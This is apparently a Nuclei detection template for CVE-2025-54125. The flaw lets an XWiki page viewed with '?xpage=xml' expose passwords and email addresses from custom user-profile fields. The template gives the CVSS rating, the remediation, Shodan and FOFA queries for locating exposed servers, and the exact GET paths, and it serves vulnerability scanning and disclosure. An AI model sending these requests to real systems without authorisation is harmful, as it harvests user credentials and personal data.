A vulnerability in XWiki's XML view functionality exposes sensitive information such as passwords and email addresses that are stored in custom fields not explicitly named as password or email. This information disclosure occurs when accessing user profiles with the xml.vm template.
PoC
id: CVE-2025-54125
info:
name: XWiki XML View - Sensitive Information Exposure
author: ritikchaddha
severity: high
description: |
A vulnerability in XWiki's XML view functionality exposes sensitive information such as passwords and email addresses that are stored in custom fields not explicitly named as password or email. This information disclosure occurs when accessing user profiles with the xml.vm template.
impact: |
Unauthenticated attackers can access sensitive information including passwords and email addresses stored in custom user profile fields through the XML view functionality.
remediation: |
Upgrade XWiki to the latest version that properly protects sensitive custom fields in XML view outputs.
reference:
- https://jira.xwiki.org/browse/XWIKI-22810
- https://nvd.nist.gov/vuln/detail/CVE-2025-54125
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-359
cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
metadata:
max-request: 2
verified: true
vendor: xwiki
product: xwiki
shodan-query: html:"data-xwiki-reference"
fofa-query: body="data-xwiki-reference"
tags: cve,cve2025,xwiki,exposure,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}{{path}}"
payloads:
path:
- "/bin/view/XWiki/{{username}}?xpage=xml"
- "/xwiki/bin/view/XWiki/{{username}}?xpage=xml"
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(content_type, 'text/xml')"
- "contains_all(body, '<users>', '<property>', '<author>', '<email>')"
condition: and
# digest: 4b0a00483046022100f9cce9bd0b5df9b75e7eaaf77b3c4c1beef0b01edea98c0f6b29c235f309e3c2022100a7491063759be67388c118d783427dd51b6b880517d8939332236b0b6ee5e8b2:922c64590222798bb761d5b6d8e72950
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